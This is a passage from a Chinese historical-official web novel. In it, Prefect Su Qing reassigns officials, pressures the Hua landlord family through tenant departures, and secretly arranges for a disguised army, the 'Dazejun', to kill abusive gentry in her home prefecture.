苏清道:“还记得去年乡试主考官,就是礼部的梁大人吗,是他举荐的人,吏部那边已经同意。” 梁大人给她写信,让他多照顾,这是他科举时的同年。 同年为人正直,官途不顺,但学问不错。 总之说了很多好话。 王学政听此,知道自己没什么机会,只能叹口气。 苏清又道:“不过我倒是有个推荐的去处,不知道你愿不愿意。” 去哪?! “我老家通民府。” “通民府通判的位置,今年要有所调动。”苏清道,“我可以举荐你去那边做事。” 各府通判,为职官,多为正六品 比王学政现在的正五品的学政位置来说,是要低不少的。 但通判一职,在顺昌国又有监督职能,还分管兵马。 就是可以监察地方官员,包括知府。奏章可以直达天听。 手底下甚至有兵。 故而这位置也算不错。 当然了,通判具体能不能做事,也要看地方长官的性格跟能力。 毕竟奴大欺主,吏大压官,并不罕见。 就像广乐府这里,他们这里的刘通判就跟皇上关系一般。 即使能上奏章给皇上,多半也是不敢的。 只跟在知府后面,处理自己的差事即可。 总之一句话。 通判这官能不能做好,各凭本事。 王学政对此自然了解。 若能顺利做上通判,再做个有实权的地方官,自然也不错。 可是,通民府? 王学政知道苏清性格,有话直说即可:“通民府地方势力过大,去那的官员,日子都不好过啊。 通民府陈知府为此还专门请了苏清过去。 那也只是震慑一时,听说很多地方,又固态重发了。 这地方,他不敢啊。 苏清点头:“正是知道这件事,才让王学政你过去。” “王大人有能力,若有机会,必然能坐稳通判一职。” 只看府学就知道了。 苏清其实并未多管,刚开始的整顿,也是让费开宇去的。 当时就发现王学政是有些手腕的。 之后费开宇去了皋青州,但府学依旧越来越好,还有去年圆满的乡试,同样出自王学政之手。 广乐府出了那么多进士,不光是苏清一个人功劳。 王学政更是功不可没。 见苏大人都看在眼里,王学政一时沉默。 “我不会喝这种迷魂汤。”王学政直接道,“大人,您就让我享享清闲吧。” 苏清好笑:“真不是推你入火坑,而是想请王大人帮忙。” 苏清推心置腹。 通民府到底是她家乡,看着家乡父老乡亲受苦,她于心何忍。 但只依靠陈知府,并不妥当。 因为她观陈知府只是想压下民怨,平安渡过自己的任期。 所以想找个有能力的人过去。 而且她给王大人保证,只要他过去配合自己。 那以后的通民府必然会像广乐府一样。 这份政绩,绝对属于王大人。 “那可是我老家,我苏清怎么会骗你。” 王学政更加沉默。 此时的沉默,已然是心动了。 苏知府向来不会骗人,大家都知道。 既然她决心拯救自己家乡,那一定会做。 有她在背后支撑,那就是整个广乐府在背后支撑。 虽说通民府跟广乐府之间,还跟着山阳府,石纹州两个地方,来回要十天时间。 但这对苏清来说,都不是问题。 那可是自己老家啊。 如果自己有机会,把他的老家治理成广乐府,那他也会全力以赴。 都说故土难离。 他们当官的,却注定要离开。 越是这样,越想为家乡尽一份力。 既然不觉怀疑苏知府的决心,也不怀疑她的能力。 那通民府的未来,一定会很好。 如果自己过去。 岂不是下一个苏清? 王学政有点坐不住了。 这谁能不心动啊。 “大人,您准备怎么治理通民府啊。”王学政问道。 苏清笑:“暂时还不能说,不过也就是在秋收之后,大概九月中旬左右。” “你要是答应了,应该正好能赶上。” 现在已经是八月二十。 九月中旬就要动手?! 那他还不赶紧启程啊! 王学政兴奋至极,他还开口要了几个人。 都是手底下得力干将。 苏清自然答应,当场写了文书,让云喜绿云寄到京城。 还有两份信件,让人暗中运作。 “且回去收拾行李,莫要透漏风声。”苏清道,“九月之前,你的任命就会下来。” 王学政出了苏知府书房,脸上也堆满笑意。 不对。 他岂不是跟刚才那些人一样了? 那些人被苏大人安排到什么地方了啊。 大家口风都紧,任命没有正式下来前,根本不透漏一丝一毫。 除非他们家里再有安排,其他人无非两个地方,皋青州跟通民府。 若想去隔壁山阳府也行。 沈知府如今手握实权,也要做一番事的。 不止广乐府为调任的时候发愁。 顺昌国各地都是如此。 皇帝好不容易培养起一批自己的人手,务必要安插到各地,并迫切希望他们治邦安民,让顺昌国越来越好。 安排好手底下官员,再安排好的通民府那边的人手。 广乐府的花家,在这期间极为沉默。 一向淡定的花老爷都坐不住了。 他使了不少银子,想让苏清离开此地。 但他越给钱,那边越不松口。 还是花了重金才让吏部一人说了实话。 “您忘了永晟三年,金陵一事吗?” “您越跟苏清不对付,上面就越要留她。” 花景明把消息送过来。 花老爷,花承载,花景明都对此不知说什么。 皇上也太小心眼了。 不就是他流落金陵缺钱时,花家不愿意给钱吗。 竟然记恨到如今。 所以他们越想让苏清走,那边越让她留。 说白了。 皇上对苏清跟花家都不待见。 但苏清的品行如何,其实谁都清楚。 皇上也知道她不会谋私。 两者对比,还是用苏清这把利剑,去砍花家的好。 花家把持太多田地,以至于朝廷难以收税。 再有金陵那时候的事。 无论让皇上选多少次,他都会选择支持苏清。 那花家使的钱越多,皇上越不会放人。 这种情况,花家全家都不知该说什么。 而花景明也被派官,直接去了闽地一带。 更管不了这里的事。 不过他还有一个机会。 那就是向苏清求情。 他跟顾从斯,祁安平,惠容等人,在正式做官之前,都可以回乡探亲。 九月初,广乐府这些新科进士们,就会陆陆续续回乡了。 花景明想趁这个机会,专门来找苏清求情。 从京城回乡的路上。 这些新科进士们,已经不像初来京城那般青涩。 大家见了太多,经历了太多。 心里各有想法。 当然也各有前程,甚至暗暗分了好几个队伍。 新科状元顾从斯,他没有外派,直接在翰林院继续做官,是最正统的文官清流。 而且跟朝中阁老关系不错,必然会被重用。 所以他是个例外。 但他一心为国,最想让顺昌国国泰民安,这点众所周知。 像祁安平,惠容两人,一个年轻有冲劲,一个沉稳有谋算。 不过两人家世都一般。 手底下跟随的进士,多也是苦出身,更多为百姓考虑。 而花景明身边,多为本地大户乡绅子侄。 不仅是本地的。 广乐府之外很多大户子弟,都跟花景明交好。 他们出生环境相似,都是锦衣玉食长大的,最厌烦的,莫过于苏清这种官员。 不过花景明收敛些,因为他知对错。 可知对错,跟应该要做什么,是两码事。 在他看来,苏清没错,自己也没错。 他们都想守护好不容易得来的东西。 花家祖辈家产,不能败在他手中。 他们想法各不相同,显然没了备考时的亲密。 此次回乡探亲后,顾从斯还是回京任职。 其他人去自己任地。 下次相见,就不知道是什么时候了。 想来这段同路回乡,也是最后一次。 到了广乐府府城,众人先去了府衙拜见知府,再去拜见学政。 随后各自回家探亲。 家人就在府城的顾从斯跟花景明自然留下来。 顾从斯见对方又去了府衙,并未跟上,只回了家中拜见爹娘。 他这次要把爹娘也带到京城。 顾家夫妇早就想离开此地。 无论顾从斯怎么劝说,他们都要走。 “这里是苏清的地盘,我们待的实在尴尬。” “对啊,人人都知道那些事,我们真的想离开。” “要不回老家泸东州,反正不能在这了。” 顾从斯有些无奈,只道:“泸东州有山匪作乱,不能回去。” 两人不会耕种,更无立足根本。 他只好托了关系,把父亲调到京城任教职,继续教学生读书。 听说去京城,顾家夫妇还是很满意的。 “从斯辛苦了,娘给你做了爱吃的饭。”顾娘子说着,只见儿子微微点头,十分客气。 顾大人也发现,儿子对他们只有恭敬,并不亲近。 他是不是还在埋怨退婚的事。 没关系,等他们去了京城,再给他寻个好亲事。 孩子今年二十五,是该娶亲了,娶个老婆就能收心。 顾从斯一眼看穿他们的想法,直接道:“我的婚事你们不要再插手。” 说罢,又放下一句话:“也做好我终生不娶的准备。” 什么?! 这句话仿若一道惊雷,炸响在两人耳边。 终生不娶?! 可这次顾从斯不给两人多说的机会,转身吩咐仆从收拾行李。 此时的府衙书房。 花景明同样想说亲事。 但苏清只是打量他,让他把话咽下去。 花景明苦笑,说起大哥跟二姐之间的矛盾,先说了几句玩笑话:“他们两个本来就不合,如今见面更像斗鸡眼。” “我看着也不知该帮谁。” 苏清却认真答:“你不是一直在帮你大哥吗。” “没有。”花景明极为恳切道,“我谁都没帮。” 苏清笑:“没帮也是一种帮。” 按理说,花景明不该追问下去,还是道:“我不明白。” 花景明有很多想不明白的事。 他不明白自家好好的,苏清为什么要拆分开。 更不明白花又菱得到自己想要的,怎么还要把作坊转移走。 当年苏清有事,他帮过。 花又菱支撑不住生铁作坊,他也帮过。 为什么换来这样的结果。 苏清见他不走,一定要给说法,明显觉得自己跟花又菱都在背叛他。 苏清有些烦了。 本就要忙通民府的事,现在还要解释你这个地主的儿子,为什么不帮也是帮。 苏清直接道:“花又菱丧母,又跟父亲不亲近,还是女子,却想证明自己的能力,一直在花家做事。” “她在花家真的能跟花承载对抗吗?” “一个身高两米的人,跟一个身高一米五的人对打。” “你却说自己谁也没帮,就是公平的?” 这说的是花家子女之间的事。 同样也在说地主跟佃户之间的关系。 不管地主如今怎样的“慈眉善目”。 都改变不了他们兼并百姓田地的事实。 花景明站在花承载跟花又菱之间不作为,说自己很公平。 同时也站在地主跟佃户之间,说自家没有过错。 这未免也太“清清白白”了。 他自以为的退让,那是没触及他利益的时候。 真动了他家核心利益。 他就变成花老爷真正的儿子。 也难怪花老爷最疼他。 话说到这,花景明自然知道,苏清不会听他任何借口。 只要苏清在一日。 花家的田地,就会不断流失。 尤其是今年秋收过后,就会有大批花家佃户退租。 因为这几年里,花家对他们不错,广乐府粮价物价都很平稳。 但凡心里有些成算的,都能攒到银钱,或回家乡,或去偏远些的县里。 总能买些土地,开始新的生活。 退租的土地无人耕种,用不了两三年,就是荒地了。 云喜绿兰看着。 对花家没有同情。 同样是做佃户。 为什么之前做佃户攒不下银子。 如今攒下了。 总不能是大家突然开了心智,知道攒钱了? 还不是因为之前花家逼得紧,大家除了口粮之外,其他银子多半都要交租子。 现在被长官管的服服帖帖,不敢多要租金。 佃户们就能从中松口气,有自己的积蓄了。 如此对比。 说花家没作恶,谁信? 其实从佃户们不听话了,就能看出来。 以前为了让主人家高兴,佃户们不仅要种田,还要帮忙打架,甚至还要给主人家送礼。 毕竟人家的心情,决定他们的命运,以及租子的多少。 现在所谓的“不听话”,才是正常租赁关系。 类比一下就是。 你租了一个人的房子,还要去房东家里洗衣做饭带孩子。 这正常吗?! 可你要是不这么做的话,人家不让你租房子了。 什么?租其他人的? 不好意思,这两个县,包括府城所有房子都是我家的。 除非你露宿街头,或者滚到其他地方。 而其他地方的房子,都是这个要求。 “租客”只能一边付房租,一边洗衣做饭带孩子,并且还要工作。 这种环境下,租客别说攒到钱了,能不能吃饱饭都是问题啊。 广乐府这种大户乡绅地主,被苏清收拾的差不多了。 最后的花家,也会在今年秋收之后,失去大量佃户,所谓的良田千顷无人耕种,也称不上良田。 花景明跌跌撞撞离开府衙,这才回到家中。 见他的表情,就知道他说话无用。 花老爷脸上浮现失望,颓然坐到椅子上:“天要亡我花家吗。” 花家如何愤懑不提。 苏清还要给王学政,也就是现在的通民府王通判践行,同时也给新来的学政接风。 新来的学政恰好也姓王,今年三十六。 初见时冷漠,却有问必答,性格其实挺软,说话也和气。 梁大人说他为人正直得很。 看着冷脸,但性子软好说话又正直,心软的好人? 席面上,苏清见他一把乌黑美须,心道若梅娘看了,估计会喜欢。 已经成为王通判的王大人还夸了几句新王学政的胡子,又赶紧道歉:“不知道尊夫人病故,失言失言。” 新王学政并不计较。 苏清这才知道,这位王学政的原配夫人五年前去世,他一直没有续弦,而且无儿无女。 之前在国子监教书,也善管事。 只可惜没有身份背景,国子监换了新祭酒后,没有他的位置。 幸而礼部梁大人是他同年,算是费力把他弄到广乐府做学政。 里面还有顾从斯的帮忙。 顾从斯也觉得这位王大人不错,从中出了力。 正说着,顾从斯终于来了。 他倒不是故意迟到,而是家里事多,赶紧道歉。 在坐苏知府,罗主簿,邬户司,王通判,新王学政都不是计较的。 而且顾从斯是自己人,更不会多说。 一顿饭宾主尽欢。 新的王学政松口气。 在他看来,广乐府人情极为简单,正符合他的性格。 自己坐了王通判的位置,他也不恼,反而跟他讲广乐府府学的人情世故。 怪不得人人都想来广乐府做官。 都说上行下效。 此地有苏知府坐镇,果然是好的。 新学政顺利就职。 王通判去通民府赴任。 他走之前再三拜托苏知府。 一定要早点救他啊。 求求了。 赶紧让通民府变成广乐府吧! 苏清让他放心:“肯定没事的。” 王通判听此,才带着家人小厮离开,去往通民府。 府学换了新学政,大家也很快适应。 新的王学政能力确实不错。 不过其他各级官员,暂时还没什么变动。 恰逢秋收,很多职位变动,要在秋收之后进行。 苏清的注意力也放在秋收上。 广乐府今年的税收同样有所增加。 去年的一百一十九万,已经让其他人侧目。 今年税收则更高。 邬户司道:“约莫在一百七十六万上下。” “主要是新开耕的田地,以及制药作坊的收入。” 邬户司还道:“花家,花家那边也补交了些税款。” 花家想破财消灾? 还是另有图谋。 罗主簿明显也有点警觉,点头道:“我会注意他家的动作。” 苏清放心,不过也道:“只是徒劳罢了。” “秋收之后,他家佃户不再续租,也不是旁人能管的。” 花家要么给出更多好处,苦留佃户。 要么放任他们离开。 而这些佃户去哪都能过日子。 广乐府各地买卖都公平,置办田地,盖上房子,以后就是农户了。 只要有个相对安稳公平的环境。 根本不用担心百姓们的生活,他们有能力把日子过得越来越好。 花家这些招数并不用放在心上。 除非他们狗急跳墙。 武捕头显然也想到这一点,一边安排府衙的巡视,另一边让南江县那边的差役保护好梅娘苏澄等人。 正好新学政去下面各县学巡视,还顺手把他带过去了。 苏清知道轻重,自然不敢乱来,最近也算深居简出。 她都要刨人家祖坟了,能不小心吗。 除了花家之外。 其他差事运转良好。 跟广乐府相比,通民府完全是一个天上一个地下。 九月初八。 王通判到了通民府府城。 陈知府接风洗尘,送走之前通判,这些不必细说。 九月十一晚上。 睡前感慨通民府物价极高,乞丐遍地的王通判,从睡梦中被人喊醒。 “不好了,赵镇县县令来报,一伙山贼闯入,正在打家劫舍!” “那山贼足有近千人人!谁都不是对手!” 王通判一个激灵坐起来:“守备呢,本地守备呢!赶紧派兵围剿啊!” “王大人,咱们通民府新守备还未到任。” “只有您手里能管着兵马,要听您的调令才是。” 王通判一头雾水。 谁?! 谁调令?! 那边近千人人,让他调兵? 他会吗? 你们忘了吗? 我之前是学官,是学政啊! 等他穿戴整齐到了府衙,就见陈知府开口道:“已经没事了。” 没事了?! 王通判半天说不出话,最后吐槽道:“在广乐府这三年里,从未有如此惊吓。” 要说广乐府也有事情。 但跟通民府的情况比,简直不值一提啊。 陈知府焉能不知,可他也没有办法。 等他冷静下来,恭恭敬敬询问事情经过。 陈知府身边幕僚叹口气:“赵镇县死伤惨重。” 死伤惨重? 他这刚上任啊。 只听幕僚继续说明情况。 原来从九月初开始。 赵镇县外面,就有一股山匪。 这股山匪十分“狡猾”,打着为百姓出头名号,说什么要匡扶正义,铲除奸恶,给赵镇县大大小小地主乡绅家威胁信。 信里写明了,如果把佃户们应得的粮食还给他们,把利滚利的高利贷免除。 那他们这些大泽军就会放过他们。 大泽军是什么? 没听说过。 还放过他们,知道他们有多少家丁吗? 信件交给本地县太爷,县太爷倒是读过书的。 大泽军他不知道。 但大泽乡很有名,便是秦末时陈胜吴广叛军闹事的地方。 那群刁民说什么王侯将相宁有种乎,什么农民起义。 其实就是叛军。 这让县太爷心里惶恐,赶紧报给府城。 可府城那边一直没消息,他也就没管。 主要是陈知府确实不在意。 通民府这般情况,有佃户百姓聚起来闹事,也不是头一回了。 所以并不在意。 但这消息,在赵镇县百姓耳朵里,无异于天籁。 别管是真是假。 他们都想加入! 这日子真的过不成了。 之前苏大人来了一趟,整治本府大户乡绅,他们老实好几个月。 但到秋收时,立刻原形毕露。 甚至因为前段时间的收敛,做事更加恶毒。 多收粮食,逼着给地主家干活。 还在原本的高利贷上继续加利息。 家里老婆女儿都被拐过去“抵债”。 赵镇县百姓恨的厉害,只觉得求救无门。 他们还偷偷找到苏清苏知府的家中,想求求他家祖母还有外祖。 求他们把自己孩子,或者自己带到广乐府。 真的求求他们了。 苏家跟梅娘正在帮忙联系苏清。 大泽军的消息传过来。 乡绅大户们一个劲嘲笑。 佃户农户却像抓住救命稻草。 但是那大泽军十分警觉,有人让家丁去城外寻找,也没看到一丝一毫的踪迹。 故而多数大户都觉得他们在吹牛。 又是这些刁民搞的小把戏。 可就在昨晚。 永晟六年,九月十一,三更时分。 “大泽军”悄无声息进到各村。 但凡在那本名册上的人家,全都被闯入。 烧祠堂,开粮仓,砍恶仆,杀家主。 一夜之间,无数大户乡绅死于非命。 而这些大泽军直接把粮食散出去,并分文不取。 就连无数金银财宝,都视而不见。 至于那些欠条地租,全都烧了个干净。 王通判听到此处,啊了一声。 这,这倒真的像起义军啊。 不是那种打着起义的名号作乱的。 而且大泽军。 这名字有些意思的。 陈知府是进士,他不可能看不出来。 可他依旧装作不知道。 到底是不知道,还是懒得管。 “然后呢?如何结束的,怎么没事的?”王通判知道结果,所以也不慌张了。 反正赵镇县离他们这远着呢。 陈知府明显松口气:“杀了那些大户之后,贼人就走了。” 这样结束的?! 越听越不对劲啊。 “好在被杀之人,皆是好利无义之徒,平日人神共愤。” 要说这些人都是恶徒,大家都信的。 但这样被杀,岂不是目无法纪? 王通判把话咽下去。 他已经发现这陈知府的性格,是个得过且过型的。 不过顺昌国如此情况,哪里还有法纪,这里又不是广乐府。 这些人如此死,反而是好事。 赵镇县的事情就此放下。 陈知府唉声叹气,明显没了精神。 他也太倒霉了,明年就能卸任,今年就出这么大的问题。 之前找苏清帮忙,也是个治标不治本的。 王通判没再说话,他道:“此事,是要禀告朝廷吧。” 陈知府点头,但他又道:“不过是些山匪作乱,其中细节不必多讲。” 意思就是,人家那些信件之类的,不要提。 提起来就是大事。 如果引起皇上震怒,那他就更倒霉了。 这般处置方法,让王通判傻眼。 换做广乐府,他们苏大人肯定如实禀告,并且重拳出击啊。 不行,他已经被调过来了。 为什么还要想着广乐府,不能想了。 现在他的搭档是陈知府。 完了,这么一想,岂不是更沮丧了啊。 老天爷,苏大人为什么让他来这里。 心里虽然在吐槽,王通判面上还是点头,替陈知府遮掩过去。 不等陈知府放心,另一个让他瞠目结舌的消息传来。 那所谓的大泽军,又去了另外两个县,同样给了当地大户信件。 跟赵镇县的情况一样。 不过这次的要求更进一步。 不仅要退还佃户们的粮食,还要把佃户们往年欠债也免了。 三天时间内,必须完成。 否则的话,他们肯定还会去的。 赵镇县的事情,其他地方或许不知,但它附近两个县,自然知道的清清楚楚。 那些大户瞬间慌神,同时也觉得大泽军实在狂妄。 上次能闯进赵镇县各村,是人家没有防备。 这次他们不仅有防备,还是两个县同时收到。 你们这群人,真以为自己是神兵天降,还以为自己是战神铮王爷吗?! 当然,也有胆小的大户,赶紧把这些年的欠条,全都当众烧了。 不仅如此,还把粮食发出去。 主打一个破财消灾。 同县之人自然笑话他们,同时加强戒备,就等着所谓大泽军过来。 当然了,这事也报给府衙,请知府派兵出来。 陈知府眼前一黑。 他刚把赵镇县的奏章递上去,里面能糊弄就糊弄。 现在又来? 还一次来两个? 守备,本地守备正在路上。 那通判?! 陈知府立刻喊来王通判。 王通判都无语了。 他算是发现,这个陈知府一点责任也不想抗,更不愿意负责任。 怪不得把苏大人请过来,让苏大人警告本地乡绅大户做出头鸟。 王通判在广乐府时间长了,已经很久没见过这种官员。 没有办法,他只能调兵过去,希望有点作用。 谁料他话音刚落,就听陈知府道:“别,先别派兵。” 为什么啊! 王通判发现,他来到通民府之后,一直在问为什么! 广乐府之外的世界,都变成这样了吗。 陈知府说道:“若派兵了,情况就大不一样。” 他满脑子都是一个念头。 大事化小小事化了。 不如不管他们,等到打的差不多了,再派人过去看看。 反正下面死个几百上千的,也不是什么大问题。 下面各县地主乡绅害死百姓也是有的,朝廷哪能追究的过来。 如今这些地主乡绅也差不多。 死就死了,还能怎么办。 只要不影响他,什么都好说。 王通判嘴唇微动,有些看不过眼,但到底没说什么。 只能希望接下来两个县的大户们,可以躲过这次劫难吧。 九月十五,到了大泽军定好的时间。 按照信中所说,他们会在今晚进村,杀了那些豪绅恶霸。 但一晚上过去,什么事都没发生。 “看吧,他们就是一群刁民,肯定就是吓唬我们。” “赵镇县可怜,吃了没经验的亏。” “对了,他们县来了个新县令,你们知道吗?” “知道啊,正好到任,可怜啊。” “看看咱们这家丁,咱们这家伙事,谁敢动我们?” 而九月十六晚上。 这些口出狂言的恶霸死在月光之下,尸体看着惨白惨白的。 两个县里,十几个村子,处决同时进行。 那些“大泽军”的贼人蒙面而来,依旧开仓放粮,依旧按照名册上杀人。 当然,那些烧掉欠条,还了粮食的人家可以放过。 其他人家,绝对不会手下留情。 所谓家丁大手,根本不是他们的对手。 甚至连兵器也不如人家的。 不过这一次,有一些不同。 那就是有些佃户浑水摸鱼,也跟着大泽军开始报仇。 许多乡绅恶霸死了之后,脸也被砸的稀巴烂。 此时传开,普通人心里暗暗叫好。 这恶霸平日最爱□□妇女夺人老婆。 每个佃农娶亲,都要送到他家,让他先睡十天半个月,睡高兴再把人送回来。 这些年又爱上清秀小厮,但凡好看点的少年人,也逃不了他的魔爪。 但凡谁家敢反抗,便直接让家里养的恶犬咬死全家,再剁碎了喂给周围其他佃农。 如今他死了,他那些狗仗人势的恶犬一哄而散,直接不见踪影。 有个老猎户见此,专门带着佃户去猎杀恶犬,祭奠死在它们口中的亲人。 如果说赵镇县是个开始。 那这两个县并不意味着结束。 通民府二十一县一个府城。 所有大户全都慌了。 明摆着冲他们来的! 而且那些人训练有素,甚至很得民心。 他们就不信,真的没人看到大泽贼人的脸,也没人发现他们的踪迹。 可就是一点消息也透出来。 所有人只知道,他们来无影去无踪。 杀完人后,吃喝一顿,立刻离开。 手里的兵刃也认不出是哪里产的,反正极为锋利坚实。 领头之人更为敏捷。 隐隐透露出来的消息,说他身形高大,蒙面赤目,并不亲自动手,只用羽箭追杀漏网之鱼。 疯了。 通民府所有大户,都要疯了。 这到底是什么人?! 不少人开始修建防御工事。 还有人准备搬到县城。 什么? 烧欠条? 算了吧,不到万不得已,还是不舍得的。 跟他们的惊恐相比。 通民府百姓几乎狂喜,所有人日日盼着一件事。 大泽军赶紧来啊! 我们这里也有乡绅恶霸的! 有意思的是,最高兴的一个人,还真收到大泽军的回信。 “会来的。” 会来的! 真的吗! 通民府百姓激动之时。 陈知府的奏章送到京城后,果然没人理会。 不过是小贼作乱,常态罢了。 朝廷正在问各地收税呢,哪有功夫管这些。 说起这个,你们通民府,今年税收三十九万,交三十万上来。 陈知府看到回函,长舒口气。 好好好。 只要不追究他的责任即可。 至于三十万税款,他肯定会交的,而且还要再添一些。 以此作为朝廷网开一面的谢礼。 王通判在旁边看着,脸都绿了。 他甚至有种想法。 大泽军在哪呢? 能不能先把这个陈知府砍了?! 听说苏大人在京城时,他百般请求,想让苏清苏大人去通民府帮忙。 为此还赢得不少官声。 朝中不少人都夸的。 现在看起来,就是在作秀。 把苏大人请到通民府,又让大人强出头。 王通判深吸口气,不敢再那般散漫。 在广乐府待的时间太长。 竟然忘记外面的勾心斗角,实在不该。 王通判回去之后给苏知府写信,一个是告知这里的情况,二是问问苏大人,她有什么办法。 这里是她家乡,不可能坐视不管的。 事实上。 苏清比王通判等人跟了解通民府的事。 甚至所谓的大泽军,也是她跟柴总兵商议好的事。 按照名册上,一一清理乡绅恶霸,也是计划中的一部分。 但苏清总觉得里面有什么不对劲的。 赵镇县的情况先不提,小试牛刀,并不稀奇。 那两个县同时用兵,事情还办的极为利落。 “有点熟悉。” 依松县外,驻军营中。 柴总兵则认为,他的底线似乎越来越低。 刚开始面对三四万矿工离开山阳府去皋青州,他还坚定拒绝。 然后是抢下那八百万两银子,他也是犹豫的。 现在好了,又充作所谓大泽贼人,去劫富济贫。 只是现在大军所有吃喝,都是南江县那边采买调度。 他们弄来的银子,苏清不仅一分不占,还想方设法,都用到军中。 跟朝廷那边的,形成非常强烈的对比。 这些事就算了。 柴总兵觉得还在底线内。 但瞒着众人,让原本应该在京的铮王爷亲自带兵,让自己都不敢置信啊。 也就是王爷在军中威望深,挑出来的人手,又是极为信任的。 否则不会隐瞒到现在。 那日铮王爷突然出现在依松县,还让他过去说话。 吓得他两腿发抖。 如果让皇上知道,他们这些人都要死。 铮王爷更是头一个。 但铮王爷过来,只有一个目的。 帮他带兵。 执行苏知府的命令。 让战神带兵,去收拾那些乡绅恶霸? 柴总兵都觉得不至于啊。 看看现在这战果,看看这漂亮的战绩。 不愧是战神王爷。 柴总兵看着苏知府的信件,明显也发现不对劲。 战果实在太好。 她这样敏锐,怎么可能察觉不到。 晏铮州走进营帐,一眼看出那是苏清的信,顺理成章地接过来,仔仔细细看了三遍,随后提笔回复:“嗯。” 柴总兵诧异:“不用解释吗。” 嗯是什么意思啊! 晏铮州道:“不用。” “她知道了。” 柴总兵摸摸闭嘴,让人把信寄出去。 行吧,都听你们的。 反正一个能治理,一个能打仗。 他这个当兵的听话就好。 “粮饷发了!”只听外面的欢呼还在继续,“太好了!本以为欠下来的粮饷发不下来了。” “对啊!我家里等着用钱呢。” “谁家不是呢。” 柴总兵轻轻叹口气。 不是他不忠君。 而是这种情况,如何忠君。 信件一路送到广乐府府城。 苏清拆开信一看。 赫然是晏铮州的字。 苏清看着这字,很难忍住笑意。 看来通民府那边的麻烦,很快会解决了。 王通判也是。 干嘛那么着急。 难道他不觉得,把通民府的臭虫杀完了,反而更干净了吗。 都说她之前治标不治本。 现在不是在治本吗。 不要着急啊。 再说了,通民府的乱子,这才哪到哪。 还有十八个县,以及府城呢。 原本还担心,越到后面杀的越慢。 现在完全不用担心,只等着看好戏即可。 糊弄完王通判。 接着糊弄京城。 什么? 我们一百八十六万的税收。 你们要一百六十万? 不行哦。 不是说让我们广乐府接手驻军军费吗? 我们广乐府今年的税收,已拨用过去了。 实在想要的话,问军中要军费吧? 第74章 通民府的混乱还在继续。 不管乡绅大户们如何防御,如何组织人手,根本没有一丁点作用。 而且各地佃户农民,都自发传递消息。 个个等着本地大户粮仓大开。 虽说这些大户们人丁兴旺,但跟数万乃至数十万的普通人相比,那还是太少了。 不少恶霸根本不敢出门,双拳难敌四手不说。 还随时可能丧命。 要说不混乱,是不可能的。 但他们也没什么办法。 陈知府只想着大事化小小事化了。 而且他们之前对陈知府也是不冷不热,更不可能帮忙。 守备还未上任。 各地县令都是提心吊胆,毕竟他们做过的恶事也不少。 一时间,竟也是叫天天不应叫地地了。 苏清原本还要费心去管军纪,强调他们不是去抢东西,只是去锄强扶弱。 现在晏铮州过去,军纪问题不用多考虑。 至于他为什么过来,也很好猜测。 自己这边改进了的炼铁技术。 还跟柴总兵有联系,他肯定要来看看。 通民府不用担心,苏清的精力依旧放在广乐府上。 还要安慰梅娘跟苏三婶她们。 毕竟是老家出事,大家肯定担心。 好在老家那边来信,让原本担心的众人,变得不知该说些什么。 “家里一切都好。” “村里恶霸全家都没了,田地被新来的县令做主,分给本地各家。” “粮仓的损失追不回来,也就作罢。” “不过组织了人手,日常巡视,防止山贼再次闯入。” 总结下来就是。 出了那么多乱子。 大家日子反而好过了? 村人的欠债没了,土地反而回来。 此话一出,本来在广乐府的乡亲,明显想回家看看。 当初就是日子过不下去才来的,现在自然想回去看看。 梅娘还帮他们收拾了行李,让他们路上小心。 这样一来,大家自然放下心。 不过对于梅娘的安全,苏清还是又多问几句。 武捕头也说:“自通民府的事情传开,花家似乎就没了动作。” 苏清表情严肃。 她跟罗主簿武捕头确实没猜错。 花家确实对她恨之入骨。 那花老爷也确实想狗急跳墙。 通民府的事却给他家敲响警钟。 不管他们有没有联想到,通民府那边的事情跟苏清有关。 但不敢再动手是真的。 这还让苏清有些遗憾。 如果真对她动手,反而让她有了借口。 花家能在此地立足多年,确实有自己的本事。 这也太知进退了。 苏清是这样想。 但花家宅院里噤若寒蝉,无人敢大声说话。 因为花老爷气得心口疼,整个人躺在病榻上,眼睛微微闭上。 花承载花景明两人在床边侍疾。 花承载的娘子大气都不敢出,立在旁边,只等着听吩咐。 “今日又有多少佃户退租。”花老爷喘着粗气,声音跟破风箱一般。 花承载咬牙:“广左县三千六百户佃户退租,广右县一千九百户,府城四百多户。” 之前说过,花家手里良田无数。 广左县广右县的田地,其中八成是他家的。 这两地的佃户数量差不多,都在两万四千多户。 府城人口杂些,但地方更大,差不多有三万六千多户,都是他家佃农。 从去年前年开始。 就有佃户陆陆续续退租。 原因就是,买卖租赁公平之后,他们吃苦耐劳的性子更加明显,手头都能攒到银子了。 没有种田的人,不想有自己的土地。 手头有银子,多数人第一时间,就是置地买房。 广乐府这边也不例外。 前两年虽有陆续退租的情况,但不算伤筋动骨。 从今年开始,却大不一样。 因为不管官吏们知道,苏大人任期满了,很快就会离开。 百姓们也是知道的。 趁着苏大人离开前,赶紧把该买的都买了。 即使以后出事,也能撑的时间久一点。 再加上今年花家闹出来的事,以及花又菱还有广右县县令的态度。 不少人都琢磨出态度。 别等了。 趁着手里有钱,赶紧买地吧。 不然等苏大人走了之后,花家又会固态萌发。 又要带着他们这些佃户拼命了。 好日子过惯了,谁还愿意给这些主人家冲锋陷阵。 死的是他们。 得利的又不是他们家人。 何必呢。 为此,府衙户司还专门出了建议。 说明了广乐府其他各县的土地情况,以及哪里还能买到地,开荒的话哪里更方便等等。 于是今年秋收后。 花家退租的佃户越来越多。 他们不用租地了! 他们要去买自己的土地了! 反正在哪都是种地,不如种自己的! 到如今九月底,花又菱以前管着的广右县还好,她对佃户一向不算苛刻,退租的人不算太多。 府城也还行,离苏清这样近,很多佃户也懒得退租。 唯有花承载管着的广左县,两万四千多户,如今退了半数。 对于花家全家而言。 就是这地方,一下子少了一半的收入。 只是少了收入,也就罢了。 用不了两年,这些土地就会撂荒。 几乎每个朝代都有这种规定。 如果好好的良田变成荒地,朝廷有权追究其责任,甚至直接收回,或者低价买回这些田地。 其目的,就是防止地主屯田过多,却无人耕种。 现在佃户走了。 难不成让他们花家父子三人去种? 即便他们父子齐上阵,也种不了那么多地。 苏清肯定会以撂荒的罪名,让花家给个说法。 只可恨苏清不挪窝,还在广乐府当知府。 花承载还在骂人,可躺在病榻上的花老爷,旁边沉默的花景明。 还有站着花承载娘子。 全都明白一件事。 再骂也是没用的。 苏清决定做这件事,就不会松手。 看她怎么对朝廷的知道了。 京城那边一直在要今年的税款。 苏清还敢拒绝。 何况一个小小的花家。 花老爷又开口了:“通民府,那边还有消息吗。” 花承载听此打了个冷颤。 